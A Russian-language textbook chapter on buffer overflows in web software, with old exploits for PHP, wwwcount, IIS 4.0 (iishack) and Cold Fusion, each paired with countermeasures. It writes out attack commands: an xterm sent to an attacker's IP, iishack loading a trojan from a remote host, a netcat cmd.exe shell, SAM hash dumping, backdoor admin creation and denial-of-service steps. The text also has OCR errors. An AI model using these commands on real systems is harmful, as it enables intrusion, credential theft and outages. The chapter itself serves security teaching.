Иллюстрированный самоучитель по Secure Web

       

Переполнение буфера


Многие годы проблемы, связанные с переполнением буфера, были серьезным недостатком системы защиты системы UNIX. После появления в 1995 году статьи How to write buffer overflow  в мире UNIX многое переменилось. В классической статье Алефа Вана (Aleph One) Smashing the stack for fun and profit, впервые опубликованной в журнале Phrack Magazine в 1996 году, подробно описано, насколько просто добиться переполнения буфера. 

Для тех, кто незнаком с этой концепцией постараемся ее четко сформулировать. Переполнение буфера позволяет взломщику поместить в переменную значение, которое больше, чем максимально допустимое. После этого он сможет выполнить произвольный код с привилегиями текущего пользователя, обычно root. В большинстве случаев проблема заключается в плохо написанном коде. Примером такого кода может быть программа, помещающая данные в буфер и не проверяющая их размер. Наиболее популярная команда, которую можно удаленно выполнить в системе Solaris, выглядит примерно следующим образом: /usr/openwin/bin/xterm -display <your_IP_address>: 0 . 0 &.

Рассматриваемые ниже изъяны позволят получить полное представление о методах, которые взломщики используют для удаленного переполнения буфера. Имея такую информацию, вы сможете улучшить качество и надежность своих программ.

Изъян РНР

В сценариях РНР имеется два (а возможно и больше) изъянов. Один из них является обычной проблемой отсутствия проверки ввода, ставшей бедствием для многих разрабатываемых ранее сценариев. С использованием этого изъяна взломщики могли просмотреть любой файл целевой системы. 

Контрмеры против использования изъяновРНР

Обеспечить защиту можно двумя способами:

  •  Удалите уязвимые сценарии.
  •  Обновите сценарии РНР до самой последней версии.
  • Изъян wwwcount.cgi

    Программа wwwcount является популярным счетчиком Web. Впервые о ее изъяне и его применении стало известно в 1997 году. Этот изъян позволяет взломщик)' удаленно выполнять любой код на локальной системе. Широкой общественности по крайней мере стало известны два примера использования этого изъяна, однако в обоих случаях происходило в основном одно и то же: "захват" взломщиком окна xterm.



    Контрмеры против использования nsbflHawwwcount



    Предотвратить использование изъяна программы wwwcount можно двумя способами: 

  •  Удалите сценарий wwwcount. cgi.


  •  Отмените для сценария право на выполнение с помощью команды chmod -x wwwcount.cgi.


  • Изъян iishack сервера IIS 4.0

    В июне 1999 года широкой общественности стало известно о досадной ошибке в системе защиты сервера IIS 4.0, которая оказалась серьезной угрозой безопасности Web-сервера компании Microsoft. Этот изъян был обнаружен группой экспертов по вопросам безопасности еЕуе, которая поместила в Internet исходный код и исполняемый файл, с помощью которого можно осуществить взлом. Источником проблемы является недостаточная проверка границ имен файлов .НТК, .STM и .юс, содержащихся в адресах URL. Это позволяет взломщику поместить в этот адрес код, который будет загружен на целевую систему и выполнен с правами администратора.

    Программа, демонстрирующая использование данного изъяна, называется iishack, а найти ее можно по адресу http://www.technotronic.com (а также И на других Web-узлах). При этом достаточно указать адрес URL и имя файла типа "троянский конь", который нужно запустить:

    C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe

    ---(US 4.0 remote buffer overflow exploit)— — —

    (c) dark spyrit — barns@eeye.com. http://www.eEye.com

    [usage: iishack <host> <port> <url>]

    eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe

    do not include 'http://1 before hosts!

    Data sent!

    Созданная авторами простая программа типа "троянский конь" getem.exe, распаковывает утилиту pwdump.exe (позволяющую получить дамп хеш-кодов базы данных SAM), запускает утилиту netcat, настроенную на прослушивание порта 25, и возвращает обратно командную оболочку (nc -nw -L -р 25 -t -e cmd.exe). После успешного выполнения всех этих действий на собственном компьютере можно запустить утилиту netcat, получив таким образом в свое распоряжение командную оболочку и локальный доступ с привилегиями учетной записи SYSTEM (т.е. с правами администратора):



    C:\>nc -nw 10.11.1.1 26

    (UNKNOWN) [10.11.1.1] 26 (?) open Microsoft(R)

    Windows NT (TM) (C) Copyright 1985-1996 Microsoft Corp.

    С:>pwdump

    administrator:500:03096B7CD9133319790F5B37EAB66"E30:

    5ACA8A3A546DD587A 58A251205881082:

    Built- in account for administering the computer/doma in:

    Guest:501:NO PASSWORD

    **************;NO PASSWORD**************

    *******:Built-in account for guest access to the computer/domain::

    sqldude:1000:853FD8DOFA7ECFOFAAD3B435B

    51404EE:EE319BA58C3E9BCB45AB13 CD7651FE14:::

    SQLExecutiveCmdExec:1001:01FC5A6BE7BC6929AAD3B435B51404EE:

    OCB6948805 F797BF2A82807973B89537:SQLExecutiveCmdExec,

    SQL Executive CmdExec Task Account:C_:

    С помощью простых команд копирования и вставки, применяемых в командной строке, а также программы LOphtCrack, которая используется для взлома хеш-кодов, можно получить в свое распоряжение пароль администратора (и любого другого пользователя системы).

    Более простая (но менее скрытая) атака заключается в создании нового пользователя с помощью команды net localgroup password haxor /add, а затем добавление этого пользователя (в данном случае haxor) в группу администраторов с помощью команды net localgroup Administrators haxor /add. Если порт NetBIOS сервера (TCP 139) открыт для взломщика, то он может к нему подключиться и делать все что угодно. Конечно же, поскольку взломщик выполняет в системе значительные изменения, то их можно выявить с использованием простых средств аудита системы.

    Контрмеры против изъянов US 4.0

    Сначала компания Microsoft разработала комплекс рекомендаций для устранения этой проблемы, а затем выпустила модуль обновления. Группа экспертов eEye выпустила свой собственный модуль обновления, однако всегда рекомендуется использовать средства от производителя.

    Изъян переполнения полей

    У читателя может возникнуть вопрос, "Действительно ли можно взломать Web-сервер, пользуясь только Web-броузером?" На этот вопрос можно ответить вполне определенно: "ДА". Программисты в Web в первую очередь заботятся о производительности, отодвигая вопросы безопасности на второй план. Лучше всего это видно на примере ошибки, возникающей при переполнении буфера на сервере Cold Fusion, которая была обнаружена группой Foundstone. Проблема заключается в том, каким образом компания Allaire реализовала проверку достоверности входных данных, которые вводятся в поле пароля администратора. Пользуясь недостаточно полной очисткой этого поля, взломщик с помощью одного броузера может практически полностью вывести Web-сервер из строя. Вот как это можно сделать.



    1. Введите в броузере адрес страницы регистрации администратора в системе на типичном сервере Cold Fusion:

    2. С помощью соответствующей команды (в броузере Netscape — это File =*Edit Page) перейдите в режим редактирования кода HTML.

    3. Дважды щелкните на дескрипторе ACTION (верхний левый) и измените его, вставив имя/адрес URL сервера:

    <form

    Action="http://192.168.51.101/CFIDE/administrator/index.cfm"

    Method="POST">

    4. Измените дескриптор HTML с именем PasswordProvided, который содержит пароль, а затем измените свойства size и MAXLENGTH:

    <input Name="PasswordProvided"

    Type="PASSWORD"

    Size="1000000" MAXLENGTH="10ООООО">

    5. Щелкните на кнопке Preview, расположенной на панели инструментов Netscape, и сохраните этот файл в формате HTML.

    6. Поле ввода пароля теперь должно расшириться вправо и выйти за границы экрана. Сгенерируйте около 1,000,000 символов и скопируйте их в это поле.

    7. Щелкните на кнопке Password. Если все прошло хорошо (или плохо, если вы являетесь системным администратором), то можно будет увидеть следующее:



    На приведенном рисунке можно увидеть, что выполненные выше действия привели к подъему использования процессора сервера до 100%. Если подобные запросы продолжают поступать то, в конце концов, произойдет переполнение памяти. Более того, если на сервер отправить больше миллиарда символов, это окончательно выведет его из строя. В любом случае, для выяснения причины сбоя придется перезагружать систему.

    Контрмеры

    Единственным эффективным решением проблемы подобного рода является использование в каждой разрабатываемой программе процедуры очистки входных данных. В рассмотренном случае можно переместить страницу администратора в какой-то другой каталог или выполнить рекомендации по обеспечению безопасности сервера Cold Fusion, которые можно найти по адресу http://www.allaire.com/Handlers/index. cfm?ID=10954&Method=Full.


    Содержание раздела